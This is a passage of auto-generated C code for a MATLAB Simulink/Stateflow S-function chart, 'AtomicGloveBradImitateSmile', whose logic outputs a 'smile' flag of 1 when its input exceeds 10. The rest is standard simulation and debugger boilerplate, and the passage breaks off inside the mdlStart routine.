/* Include files */ #include <stddef.h> #include "blas.h" #include "AtomicGloveBradImitateSmile_sfun.h" #include "c8_AtomicGloveBradImitateSmile.h" #define CHARTINSTANCE_CHARTNUMBER (chartInstance->chartNumber) #define CHARTINSTANCE_INSTANCENUMBER (chartInstance->instanceNumber) #include "AtomicGloveBradImitateSmile_sfun_debug_macros.h" #define _SF_MEX_LISTEN_FOR_CTRL_C(S) sf_mex_listen_for_ctrl_c(sfGlobalDebugInstanceStruct,S); /* Type Definitions */ /* Named Constants */ #define CALL_EVENT (-1) /* Variable Declarations */ /* Variable Definitions */ static real_T _sfTime_; static const char * c8_debug_family_names[5] = { "smile", "nargin", "nargout", "u", "y" }; /* Function Declarations */ static void initialize_c8_AtomicGloveBradImitateSmile (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance); static void initialize_params_c8_AtomicGloveBradImitateSmile (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance); static void enable_c8_AtomicGloveBradImitateSmile (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance); static void disable_c8_AtomicGloveBradImitateSmile (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance); static void c8_update_debugger_state_c8_AtomicGloveBradImitateSmile (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance); static const mxArray *get_sim_state_c8_AtomicGloveBradImitateSmile (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance); static void set_sim_state_c8_AtomicGloveBradImitateSmile (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance, const mxArray * c8_st); static void finalize_c8_AtomicGloveBradImitateSmile (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance); static void sf_gateway_c8_AtomicGloveBradImitateSmile (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance); static void initSimStructsc8_AtomicGloveBradImitateSmile (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance); static void init_script_number_translation(uint32_T c8_machineNumber, uint32_T c8_chartNumber, uint32_T c8_instanceNumber); static const mxArray *c8_sf_marshallOut(void *chartInstanceVoid, void *c8_inData); static real_T c8_emlrt_marshallIn(SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance, const mxArray *c8_y, const char_T *c8_identifier); static real_T c8_b_emlrt_marshallIn (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance, const mxArray * c8_u, const emlrtMsgIdentifier *c8_parentId); static void c8_sf_marshallIn(void *chartInstanceVoid, const mxArray *c8_mxArrayInData, const char_T *c8_varName, void *c8_outData); static const mxArray *c8_b_sf_marshallOut(void *chartInstanceVoid, void *c8_inData); static int32_T c8_c_emlrt_marshallIn (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance, const mxArray * c8_u, const emlrtMsgIdentifier *c8_parentId); static void c8_b_sf_marshallIn(void *chartInstanceVoid, const mxArray *c8_mxArrayInData, const char_T *c8_varName, void *c8_outData); static uint8_T c8_d_emlrt_marshallIn (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance, const mxArray * c8_b_is_active_c8_AtomicGloveBradImitateSmile, const char_T *c8_identifier); static uint8_T c8_e_emlrt_marshallIn (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance, const mxArray * c8_u, const emlrtMsgIdentifier *c8_parentId); static void init_dsm_address_info(SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance); /* Function Definitions */ static void initialize_c8_AtomicGloveBradImitateSmile (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance) { chartInstance->c8_sfEvent = CALL_EVENT; _sfTime_ = sf_get_time(chartInstance->S); chartInstance->c8_is_active_c8_AtomicGloveBradImitateSmile = 0U; } static void initialize_params_c8_AtomicGloveBradImitateSmile (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance) { (void)chartInstance; } static void enable_c8_AtomicGloveBradImitateSmile (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance) { _sfTime_ = sf_get_time(chartInstance->S); } static void disable_c8_AtomicGloveBradImitateSmile (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance) { _sfTime_ = sf_get_time(chartInstance->S); } static void c8_update_debugger_state_c8_AtomicGloveBradImitateSmile (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance) { (void)chartInstance; } static const mxArray *get_sim_state_c8_AtomicGloveBradImitateSmile (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance) { const mxArray *c8_st; const mxArray *c8_y = NULL; real_T c8_hoistedGlobal; real_T c8_u; const mxArray *c8_b_y = NULL; uint8_T c8_b_hoistedGlobal; uint8_T c8_b_u; const mxArray *c8_c_y = NULL; real_T *c8_d_y; c8_d_y = (real_T *)ssGetOutputPortSignal(chartInstance->S, 1); c8_st = NULL; c8_st = NULL; c8_y = NULL; sf_mex_assign(&c8_y, sf_mex_createcellmatrix(2, 1), false); c8_hoistedGlobal = *c8_d_y; c8_u = c8_hoistedGlobal; c8_b_y = NULL; sf_mex_assign(&c8_b_y, sf_mex_create("y", &c8_u, 0, 0U, 0U, 0U, 0), false); sf_mex_setcell(c8_y, 0, c8_b_y); c8_b_hoistedGlobal = chartInstance->c8_is_active_c8_AtomicGloveBradImitateSmile; c8_b_u = c8_b_hoistedGlobal; c8_c_y = NULL; sf_mex_assign(&c8_c_y, sf_mex_create("y", &c8_b_u, 3, 0U, 0U, 0U, 0), false); sf_mex_setcell(c8_y, 1, c8_c_y); sf_mex_assign(&c8_st, c8_y, false); return c8_st; } static void set_sim_state_c8_AtomicGloveBradImitateSmile (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance, const mxArray * c8_st) { const mxArray *c8_u; real_T *c8_y; c8_y = (real_T *)ssGetOutputPortSignal(chartInstance->S, 1); chartInstance->c8_doneDoubleBufferReInit = true; c8_u = sf_mex_dup(c8_st); *c8_y = c8_emlrt_marshallIn(chartInstance, sf_mex_dup(sf_mex_getcell(c8_u, 0)), "y"); chartInstance->c8_is_active_c8_AtomicGloveBradImitateSmile = c8_d_emlrt_marshallIn(chartInstance, sf_mex_dup(sf_mex_getcell(c8_u, 1)), "is_active_c8_AtomicGloveBradImitateSmile"); sf_mex_destroy(&c8_u); c8_update_debugger_state_c8_AtomicGloveBradImitateSmile(chartInstance); sf_mex_destroy(&c8_st); } static void finalize_c8_AtomicGloveBradImitateSmile (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance) { (void)chartInstance; } static void sf_gateway_c8_AtomicGloveBradImitateSmile (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance) { real_T c8_hoistedGlobal; real_T c8_u; uint32_T c8_debug_family_var_map[5]; real_T c8_smile; real_T c8_nargin = 1.0; real_T c8_nargout = 1.0; real_T c8_y; real_T *c8_b_u; real_T *c8_b_y; c8_b_y = (real_T *)ssGetOutputPortSignal(chartInstance->S, 1); c8_b_u = (real_T *)ssGetInputPortSignal(chartInstance->S, 0); _SFD_SYMBOL_SCOPE_PUSH(0U, 0U); _sfTime_ = sf_get_time(chartInstance->S); _SFD_CC_CALL(CHART_ENTER_SFUNCTION_TAG, 7U, chartInstance->c8_sfEvent); _SFD_DATA_RANGE_CHECK(*c8_b_u, 0U); chartInstance->c8_sfEvent = CALL_EVENT; _SFD_CC_CALL(CHART_ENTER_DURING_FUNCTION_TAG, 7U, chartInstance->c8_sfEvent); c8_hoistedGlobal = *c8_b_u; c8_u = c8_hoistedGlobal; _SFD_SYMBOL_SCOPE_PUSH_EML(0U, 5U, 5U, c8_debug_family_names, c8_debug_family_var_map); _SFD_SYMBOL_SCOPE_ADD_EML_IMPORTABLE(&c8_smile, 0U, c8_sf_marshallOut, c8_sf_marshallIn); _SFD_SYMBOL_SCOPE_ADD_EML_IMPORTABLE(&c8_nargin, 1U, c8_sf_marshallOut, c8_sf_marshallIn); _SFD_SYMBOL_SCOPE_ADD_EML_IMPORTABLE(&c8_nargout, 2U, c8_sf_marshallOut, c8_sf_marshallIn); _SFD_SYMBOL_SCOPE_ADD_EML(&c8_u, 3U, c8_sf_marshallOut); _SFD_SYMBOL_SCOPE_ADD_EML_IMPORTABLE(&c8_y, 4U, c8_sf_marshallOut, c8_sf_marshallIn); CV_EML_FCN(0, 0); _SFD_EML_CALL(0U, chartInstance->c8_sfEvent, 3); if (CV_EML_IF(0, 1, 0, c8_u > 10.0)) { _SFD_EML_CALL(0U, chartInstance->c8_sfEvent, 4); c8_smile = 1.0; } else { _SFD_EML_CALL(0U, chartInstance->c8_sfEvent, 6); c8_smile = 0.0; } _SFD_EML_CALL(0U, chartInstance->c8_sfEvent, 8); c8_y = c8_smile; _SFD_EML_CALL(0U, chartInstance->c8_sfEvent, -8); _SFD_SYMBOL_SCOPE_POP(); *c8_b_y = c8_y; _SFD_CC_CALL(EXIT_OUT_OF_FUNCTION_TAG, 7U, chartInstance->c8_sfEvent); _SFD_SYMBOL_SCOPE_POP(); _SFD_CHECK_FOR_STATE_INCONSISTENCY(_AtomicGloveBradImitateSmileMachineNumber_, chartInstance->chartNumber, chartInstance->instanceNumber); _SFD_DATA_RANGE_CHECK(*c8_b_y, 1U); } static void initSimStructsc8_AtomicGloveBradImitateSmile (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance) { (void)chartInstance; } static void init_script_number_translation(uint32_T c8_machineNumber, uint32_T c8_chartNumber, uint32_T c8_instanceNumber) { (void)c8_machineNumber; (void)c8_chartNumber; (void)c8_instanceNumber; } static const mxArray *c8_sf_marshallOut(void *chartInstanceVoid, void *c8_inData) { const mxArray *c8_mxArrayOutData = NULL; real_T c8_u; const mxArray *c8_y = NULL; SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance; chartInstance = (SFc8_AtomicGloveBradImitateSmileInstanceStruct *) chartInstanceVoid; c8_mxArrayOutData = NULL; c8_u = *(real_T *)c8_inData; c8_y = NULL; sf_mex_assign(&c8_y, sf_mex_create("y", &c8_u, 0, 0U, 0U, 0U, 0), false); sf_mex_assign(&c8_mxArrayOutData, c8_y, false); return c8_mxArrayOutData; } static real_T c8_emlrt_marshallIn(SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance, const mxArray *c8_y, const char_T *c8_identifier) { real_T c8_b_y; emlrtMsgIdentifier c8_thisId; c8_thisId.fIdentifier = c8_identifier; c8_thisId.fParent = NULL; c8_b_y = c8_b_emlrt_marshallIn(chartInstance, sf_mex_dup(c8_y), &c8_thisId); sf_mex_destroy(&c8_y); return c8_b_y; } static real_T c8_b_emlrt_marshallIn (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance, const mxArray * c8_u, const emlrtMsgIdentifier *c8_parentId) { real_T c8_y; real_T c8_d0; (void)chartInstance; sf_mex_import(c8_parentId, sf_mex_dup(c8_u), &c8_d0, 1, 0, 0U, 0, 0U, 0); c8_y = c8_d0; sf_mex_destroy(&c8_u); return c8_y; } static void c8_sf_marshallIn(void *chartInstanceVoid, const mxArray *c8_mxArrayInData, const char_T *c8_varName, void *c8_outData) { const mxArray *c8_y; const char_T *c8_identifier; emlrtMsgIdentifier c8_thisId; real_T c8_b_y; SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance; chartInstance = (SFc8_AtomicGloveBradImitateSmileInstanceStruct *) chartInstanceVoid; c8_y = sf_mex_dup(c8_mxArrayInData); c8_identifier = c8_varName; c8_thisId.fIdentifier = c8_identifier; c8_thisId.fParent = NULL; c8_b_y = c8_b_emlrt_marshallIn(chartInstance, sf_mex_dup(c8_y), &c8_thisId); sf_mex_destroy(&c8_y); *(real_T *)c8_outData = c8_b_y; sf_mex_destroy(&c8_mxArrayInData); } const mxArray *sf_c8_AtomicGloveBradImitateSmile_get_eml_resolved_functions_info (void) { const mxArray *c8_nameCaptureInfo = NULL; c8_nameCaptureInfo = NULL; sf_mex_assign(&c8_nameCaptureInfo, sf_mex_create("nameCaptureInfo", NULL, 0, 0U, 1U, 0U, 2, 0, 1), false); return c8_nameCaptureInfo; } static const mxArray *c8_b_sf_marshallOut(void *chartInstanceVoid, void *c8_inData) { const mxArray *c8_mxArrayOutData = NULL; int32_T c8_u; const mxArray *c8_y = NULL; SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance; chartInstance = (SFc8_AtomicGloveBradImitateSmileInstanceStruct *) chartInstanceVoid; c8_mxArrayOutData = NULL; c8_u = *(int32_T *)c8_inData; c8_y = NULL; sf_mex_assign(&c8_y, sf_mex_create("y", &c8_u, 6, 0U, 0U, 0U, 0), false); sf_mex_assign(&c8_mxArrayOutData, c8_y, false); return c8_mxArrayOutData; } static int32_T c8_c_emlrt_marshallIn (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance, const mxArray * c8_u, const emlrtMsgIdentifier *c8_parentId) { int32_T c8_y; int32_T c8_i0; (void)chartInstance; sf_mex_import(c8_parentId, sf_mex_dup(c8_u), &c8_i0, 1, 6, 0U, 0, 0U, 0); c8_y = c8_i0; sf_mex_destroy(&c8_u); return c8_y; } static void c8_b_sf_marshallIn(void *chartInstanceVoid, const mxArray *c8_mxArrayInData, const char_T *c8_varName, void *c8_outData) { const mxArray *c8_b_sfEvent; const char_T *c8_identifier; emlrtMsgIdentifier c8_thisId; int32_T c8_y; SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance; chartInstance = (SFc8_AtomicGloveBradImitateSmileInstanceStruct *) chartInstanceVoid; c8_b_sfEvent = sf_mex_dup(c8_mxArrayInData); c8_identifier = c8_varName; c8_thisId.fIdentifier = c8_identifier; c8_thisId.fParent = NULL; c8_y = c8_c_emlrt_marshallIn(chartInstance, sf_mex_dup(c8_b_sfEvent), &c8_thisId); sf_mex_destroy(&c8_b_sfEvent); *(int32_T *)c8_outData = c8_y; sf_mex_destroy(&c8_mxArrayInData); } static uint8_T c8_d_emlrt_marshallIn (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance, const mxArray * c8_b_is_active_c8_AtomicGloveBradImitateSmile, const char_T *c8_identifier) { uint8_T c8_y; emlrtMsgIdentifier c8_thisId; c8_thisId.fIdentifier = c8_identifier; c8_thisId.fParent = NULL; c8_y = c8_e_emlrt_marshallIn(chartInstance, sf_mex_dup (c8_b_is_active_c8_AtomicGloveBradImitateSmile), &c8_thisId); sf_mex_destroy(&c8_b_is_active_c8_AtomicGloveBradImitateSmile); return c8_y; } static uint8_T c8_e_emlrt_marshallIn (SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance, const mxArray * c8_u, const emlrtMsgIdentifier *c8_parentId) { uint8_T c8_y; uint8_T c8_u0; (void)chartInstance; sf_mex_import(c8_parentId, sf_mex_dup(c8_u), &c8_u0, 1, 3, 0U, 0, 0U, 0); c8_y = c8_u0; sf_mex_destroy(&c8_u); return c8_y; } static void init_dsm_address_info(SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance) { (void)chartInstance; } /* SFunction Glue Code */ #ifdef utFree #undef utFree #endif #ifdef utMalloc #undef utMalloc #endif #ifdef __cplusplus extern "C" void *utMalloc(size_t size); extern "C" void utFree(void*); #else extern void *utMalloc(size_t size); extern void utFree(void*); #endif void sf_c8_AtomicGloveBradImitateSmile_get_check_sum(mxArray *plhs[]) { ((real_T *)mxGetPr((plhs[0])))[0] = (real_T)(4034184236U); ((real_T *)mxGetPr((plhs[0])))[1] = (real_T)(4027303412U); ((real_T *)mxGetPr((plhs[0])))[2] = (real_T)(812296790U); ((real_T *)mxGetPr((plhs[0])))[3] = (real_T)(1617385634U); } mxArray *sf_c8_AtomicGloveBradImitateSmile_get_autoinheritance_info(void) { const char *autoinheritanceFields[] = { "checksum", "inputs", "parameters", "outputs", "locals" }; mxArray *mxAutoinheritanceInfo = mxCreateStructMatrix(1,1,5, autoinheritanceFields); { mxArray *mxChecksum = mxCreateString("DtjMk7SqhwV5BFq0nnUQoE"); mxSetField(mxAutoinheritanceInfo,0,"checksum",mxChecksum); } { const char *dataFields[] = { "size", "type", "complexity" }; mxArray *mxData = mxCreateStructMatrix(1,1,3,dataFields); { mxArray *mxSize = mxCreateDoubleMatrix(1,2,mxREAL); double *pr = mxGetPr(mxSize); pr[0] = (double)(1); pr[1] = (double)(1); mxSetField(mxData,0,"size",mxSize); } { const char *typeFields[] = { "base", "fixpt" }; mxArray *mxType = mxCreateStructMatrix(1,1,2,typeFields); mxSetField(mxType,0,"base",mxCreateDoubleScalar(10)); mxSetField(mxType,0,"fixpt",mxCreateDoubleMatrix(0,0,mxREAL)); mxSetField(mxData,0,"type",mxType); } mxSetField(mxData,0,"complexity",mxCreateDoubleScalar(0)); mxSetField(mxAutoinheritanceInfo,0,"inputs",mxData); } { mxSetField(mxAutoinheritanceInfo,0,"parameters",mxCreateDoubleMatrix(0,0, mxREAL)); } { const char *dataFields[] = { "size", "type", "complexity" }; mxArray *mxData = mxCreateStructMatrix(1,1,3,dataFields); { mxArray *mxSize = mxCreateDoubleMatrix(1,2,mxREAL); double *pr = mxGetPr(mxSize); pr[0] = (double)(1); pr[1] = (double)(1); mxSetField(mxData,0,"size",mxSize); } { const char *typeFields[] = { "base", "fixpt" }; mxArray *mxType = mxCreateStructMatrix(1,1,2,typeFields); mxSetField(mxType,0,"base",mxCreateDoubleScalar(10)); mxSetField(mxType,0,"fixpt",mxCreateDoubleMatrix(0,0,mxREAL)); mxSetField(mxData,0,"type",mxType); } mxSetField(mxData,0,"complexity",mxCreateDoubleScalar(0)); mxSetField(mxAutoinheritanceInfo,0,"outputs",mxData); } { mxSetField(mxAutoinheritanceInfo,0,"locals",mxCreateDoubleMatrix(0,0,mxREAL)); } return(mxAutoinheritanceInfo); } mxArray *sf_c8_AtomicGloveBradImitateSmile_third_party_uses_info(void) { mxArray * mxcell3p = mxCreateCellMatrix(1,0); return(mxcell3p); } mxArray *sf_c8_AtomicGloveBradImitateSmile_updateBuildInfo_args_info(void) { mxArray *mxBIArgs = mxCreateCellMatrix(1,0); return mxBIArgs; } static const mxArray *sf_get_sim_state_info_c8_AtomicGloveBradImitateSmile(void) { const char *infoFields[] = { "chartChecksum", "varInfo" }; mxArray *mxInfo = mxCreateStructMatrix(1, 1, 2, infoFields); const char *infoEncStr[] = { "100 S1x2'type','srcId','name','auxInfo'{{M[1],M[5],T\"y\",},{M[8],M[0],T\"is_active_c8_AtomicGloveBradImitateSmile\",}}" }; mxArray *mxVarInfo = sf_mex_decode_encoded_mx_struct_array(infoEncStr, 2, 10); mxArray *mxChecksum = mxCreateDoubleMatrix(1, 4, mxREAL); sf_c8_AtomicGloveBradImitateSmile_get_check_sum(&mxChecksum); mxSetField(mxInfo, 0, infoFields[0], mxChecksum); mxSetField(mxInfo, 0, infoFields[1], mxVarInfo); return mxInfo; } static void chart_debug_initialization(SimStruct *S, unsigned int fullDebuggerInitialization) { if (!sim_mode_is_rtw_gen(S)) { SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance; ChartRunTimeInfo * crtInfo = (ChartRunTimeInfo *)(ssGetUserData(S)); ChartInfoStruct * chartInfo = (ChartInfoStruct *)(crtInfo->instanceInfo); chartInstance = (SFc8_AtomicGloveBradImitateSmileInstanceStruct *) chartInfo->chartInstance; if (ssIsFirstInitCond(S) && fullDebuggerInitialization==1) { /* do this only if simulation is starting */ { unsigned int chartAlreadyPresent; chartAlreadyPresent = sf_debug_initialize_chart (sfGlobalDebugInstanceStruct, _AtomicGloveBradImitateSmileMachineNumber_, 8, 1, 1, 0, 2, 0, 0, 0, 0, 0, &(chartInstance->chartNumber), &(chartInstance->instanceNumber), (void *)S); /* Each instance must initialize ist own list of scripts */ init_script_number_translation (_AtomicGloveBradImitateSmileMachineNumber_,chartInstance->chartNumber, chartInstance->instanceNumber); if (chartAlreadyPresent==0) { /* this is the first instance */ sf_debug_set_chart_disable_implicit_casting (sfGlobalDebugInstanceStruct, _AtomicGloveBradImitateSmileMachineNumber_, chartInstance->chartNumber,1); sf_debug_set_chart_event_thresholds(sfGlobalDebugInstanceStruct, _AtomicGloveBradImitateSmileMachineNumber_, chartInstance->chartNumber, 0, 0, 0); _SFD_SET_DATA_PROPS(0,1,1,0,"u"); _SFD_SET_DATA_PROPS(1,2,0,1,"y"); _SFD_STATE_INFO(0,0,2); _SFD_CH_SUBSTATE_COUNT(0); _SFD_CH_SUBSTATE_DECOMP(0); } _SFD_CV_INIT_CHART(0,0,0,0); { _SFD_CV_INIT_STATE(0,0,0,0,0,0,NULL,NULL); } _SFD_CV_INIT_TRANS(0,0,NULL,NULL,0,NULL); /* Initialization of MATLAB Function Model Coverage */ _SFD_CV_INIT_EML(0,1,1,1,0,0,0,0,0,0,0); _SFD_CV_INIT_EML_FCN(0,0,"eML_blk_kernel",0,-1,83); _SFD_CV_INIT_EML_IF(0,1,0,30,37,51,72); _SFD_SET_DATA_COMPILED_PROPS(0,SF_DOUBLE,0,NULL,0,0,0,0.0,1.0,0,0, (MexFcnForType)c8_sf_marshallOut,(MexInFcnForType)NULL); _SFD_SET_DATA_COMPILED_PROPS(1,SF_DOUBLE,0,NULL,0,0,0,0.0,1.0,0,0, (MexFcnForType)c8_sf_marshallOut,(MexInFcnForType)c8_sf_marshallIn); { real_T *c8_u; real_T *c8_y; c8_y = (real_T *)ssGetOutputPortSignal(chartInstance->S, 1); c8_u = (real_T *)ssGetInputPortSignal(chartInstance->S, 0); _SFD_SET_DATA_VALUE_PTR(0U, c8_u); _SFD_SET_DATA_VALUE_PTR(1U, c8_y); } } } else { sf_debug_reset_current_state_configuration(sfGlobalDebugInstanceStruct, _AtomicGloveBradImitateSmileMachineNumber_,chartInstance->chartNumber, chartInstance->instanceNumber); } } } static const char* sf_get_instance_specialization(void) { return "PBF1XeoWbqG4ePndV3MmgF"; } static void sf_opaque_initialize_c8_AtomicGloveBradImitateSmile(void *chartInstanceVar) { chart_debug_initialization(((SFc8_AtomicGloveBradImitateSmileInstanceStruct*) chartInstanceVar)->S,0); initialize_params_c8_AtomicGloveBradImitateSmile ((SFc8_AtomicGloveBradImitateSmileInstanceStruct*) chartInstanceVar); initialize_c8_AtomicGloveBradImitateSmile ((SFc8_AtomicGloveBradImitateSmileInstanceStruct*) chartInstanceVar); } static void sf_opaque_enable_c8_AtomicGloveBradImitateSmile(void *chartInstanceVar) { enable_c8_AtomicGloveBradImitateSmile ((SFc8_AtomicGloveBradImitateSmileInstanceStruct*) chartInstanceVar); } static void sf_opaque_disable_c8_AtomicGloveBradImitateSmile(void *chartInstanceVar) { disable_c8_AtomicGloveBradImitateSmile ((SFc8_AtomicGloveBradImitateSmileInstanceStruct*) chartInstanceVar); } static void sf_opaque_gateway_c8_AtomicGloveBradImitateSmile(void *chartInstanceVar) { sf_gateway_c8_AtomicGloveBradImitateSmile ((SFc8_AtomicGloveBradImitateSmileInstanceStruct*) chartInstanceVar); } extern const mxArray* sf_internal_get_sim_state_c8_AtomicGloveBradImitateSmile (SimStruct* S) { ChartRunTimeInfo * crtInfo = (ChartRunTimeInfo *)(ssGetUserData(S)); ChartInfoStruct * chartInfo = (ChartInfoStruct *)(crtInfo->instanceInfo); mxArray *plhs[1] = { NULL }; mxArray *prhs[4]; int mxError = 0; prhs[0] = mxCreateString("chart_simctx_raw2high"); prhs[1] = mxCreateDoubleScalar(ssGetSFuncBlockHandle(S)); prhs[2] = (mxArray*) get_sim_state_c8_AtomicGloveBradImitateSmile ((SFc8_AtomicGloveBradImitateSmileInstanceStruct*)chartInfo->chartInstance);/* raw sim ctx */ prhs[3] = (mxArray*) sf_get_sim_state_info_c8_AtomicGloveBradImitateSmile();/* state var info */ mxError = sf_mex_call_matlab(1, plhs, 4, prhs, "sfprivate"); mxDestroyArray(prhs[0]); mxDestroyArray(prhs[1]); mxDestroyArray(prhs[2]); mxDestroyArray(prhs[3]); if (mxError || plhs[0] == NULL) { sf_mex_error_message("Stateflow Internal Error: \nError calling 'chart_simctx_raw2high'.\n"); } return plhs[0]; } extern void sf_internal_set_sim_state_c8_AtomicGloveBradImitateSmile(SimStruct* S, const mxArray *st) { ChartRunTimeInfo * crtInfo = (ChartRunTimeInfo *)(ssGetUserData(S)); ChartInfoStruct * chartInfo = (ChartInfoStruct *)(crtInfo->instanceInfo); mxArray *plhs[1] = { NULL }; mxArray *prhs[3]; int mxError = 0; prhs[0] = mxCreateString("chart_simctx_high2raw"); prhs[1] = mxDuplicateArray(st); /* high level simctx */ prhs[2] = (mxArray*) sf_get_sim_state_info_c8_AtomicGloveBradImitateSmile();/* state var info */ mxError = sf_mex_call_matlab(1, plhs, 3, prhs, "sfprivate"); mxDestroyArray(prhs[0]); mxDestroyArray(prhs[1]); mxDestroyArray(prhs[2]); if (mxError || plhs[0] == NULL) { sf_mex_error_message("Stateflow Internal Error: \nError calling 'chart_simctx_high2raw'.\n"); } set_sim_state_c8_AtomicGloveBradImitateSmile ((SFc8_AtomicGloveBradImitateSmileInstanceStruct*)chartInfo->chartInstance, mxDuplicateArray(plhs[0])); mxDestroyArray(plhs[0]); } static const mxArray* sf_opaque_get_sim_state_c8_AtomicGloveBradImitateSmile (SimStruct* S) { return sf_internal_get_sim_state_c8_AtomicGloveBradImitateSmile(S); } static void sf_opaque_set_sim_state_c8_AtomicGloveBradImitateSmile(SimStruct* S, const mxArray *st) { sf_internal_set_sim_state_c8_AtomicGloveBradImitateSmile(S, st); } static void sf_opaque_terminate_c8_AtomicGloveBradImitateSmile(void *chartInstanceVar) { if (chartInstanceVar!=NULL) { SimStruct *S = ((SFc8_AtomicGloveBradImitateSmileInstanceStruct*) chartInstanceVar)->S; ChartRunTimeInfo * crtInfo = (ChartRunTimeInfo *)(ssGetUserData(S)); if (sim_mode_is_rtw_gen(S) || sim_mode_is_external(S)) { sf_clear_rtw_identifier(S); unload_AtomicGloveBradImitateSmile_optimization_info(); } finalize_c8_AtomicGloveBradImitateSmile ((SFc8_AtomicGloveBradImitateSmileInstanceStruct*) chartInstanceVar); utFree((void *)chartInstanceVar); if (crtInfo != NULL) { utFree((void *)crtInfo); } ssSetUserData(S,NULL); } } static void sf_opaque_init_subchart_simstructs(void *chartInstanceVar) { initSimStructsc8_AtomicGloveBradImitateSmile ((SFc8_AtomicGloveBradImitateSmileInstanceStruct*) chartInstanceVar); } extern unsigned int sf_machine_global_initializer_called(void); static void mdlProcessParameters_c8_AtomicGloveBradImitateSmile(SimStruct *S) { int i; for (i=0;i<ssGetNumRunTimeParams(S);i++) { if (ssGetSFcnParamTunable(S,i)) { ssUpdateDlgParamAsRunTimeParam(S,i); } } if (sf_machine_global_initializer_called()) { ChartRunTimeInfo * crtInfo = (ChartRunTimeInfo *)(ssGetUserData(S)); ChartInfoStruct * chartInfo = (ChartInfoStruct *)(crtInfo->instanceInfo); initialize_params_c8_AtomicGloveBradImitateSmile ((SFc8_AtomicGloveBradImitateSmileInstanceStruct*) (chartInfo->chartInstance)); } } static void mdlSetWorkWidths_c8_AtomicGloveBradImitateSmile(SimStruct *S) { if (sim_mode_is_rtw_gen(S) || sim_mode_is_external(S)) { mxArray *infoStruct = load_AtomicGloveBradImitateSmile_optimization_info(); int_T chartIsInlinable = (int_T)sf_is_chart_inlinable(sf_get_instance_specialization(),infoStruct,8); ssSetStateflowIsInlinable(S,chartIsInlinable); ssSetRTWCG(S,sf_rtw_info_uint_prop(sf_get_instance_specialization(), infoStruct,8,"RTWCG")); ssSetEnableFcnIsTrivial(S,1); ssSetDisableFcnIsTrivial(S,1); ssSetNotMultipleInlinable(S,sf_rtw_info_uint_prop (sf_get_instance_specialization(),infoStruct,8, "gatewayCannotBeInlinedMultipleTimes")); sf_update_buildInfo(sf_get_instance_specialization(),infoStruct,8); if (chartIsInlinable) { ssSetInputPortOptimOpts(S, 0, SS_REUSABLE_AND_LOCAL); sf_mark_chart_expressionable_inputs(S,sf_get_instance_specialization(), infoStruct,8,1); sf_mark_chart_reusable_outputs(S,sf_get_instance_specialization(), infoStruct,8,1); } { unsigned int outPortIdx; for (outPortIdx=1; outPortIdx<=1; ++outPortIdx) { ssSetOutputPortOptimizeInIR(S, outPortIdx, 1U); } } { unsigned int inPortIdx; for (inPortIdx=0; inPortIdx < 1; ++inPortIdx) { ssSetInputPortOptimizeInIR(S, inPortIdx, 1U); } } sf_set_rtw_dwork_info(S,sf_get_instance_specialization(),infoStruct,8); ssSetHasSubFunctions(S,!(chartIsInlinable)); } else { } ssSetOptions(S,ssGetOptions(S)|SS_OPTION_WORKS_WITH_CODE_REUSE); ssSetChecksum0(S,(4054421980U)); ssSetChecksum1(S,(2415363838U)); ssSetChecksum2(S,(3107529154U)); ssSetChecksum3(S,(1696461864U)); ssSetmdlDerivatives(S, NULL); ssSetExplicitFCSSCtrl(S,1); ssSupportsMultipleExecInstances(S,1); } static void mdlRTW_c8_AtomicGloveBradImitateSmile(SimStruct *S) { if (sim_mode_is_rtw_gen(S)) { ssWriteRTWStrParam(S, "StateflowChartType", "Embedded MATLAB"); } } static void mdlStart_c8_AtomicGloveBradImitateSmile(SimStruct *S) { SFc8_AtomicGloveBradImitateSmileInstanceStruct *chartInstance; ChartRunTimeInfo * crtInfo = (ChartRunTimeInfo *)utMalloc(sizeof (ChartRunTimeInfo)); chartInstance = (SFc8_AtomicGloveBradImitateSmileInstanceStruct *)utMalloc (sizeof(SFc8_AtomicGloveBradImitateSmileInstanceStruct)); memset(chartInstance, 0, sizeof(SFc8_AtomicGloveBradImitateSmileInstanceStruct)); if (chartInstance==NULL) { sf_mex_error_message("Could not allocate memory for chart instance."); } chartInstance->chartInfo.chartInstance = chartInstance; chartInstance->chartInfo.isEMLChart = 1; chartInstance->chartInfo.chartInitialized = 0; chartInstance->chartInfo.sFunctionGateway = sf_opaque_gateway_c8_AtomicGloveBradImitateSmile; 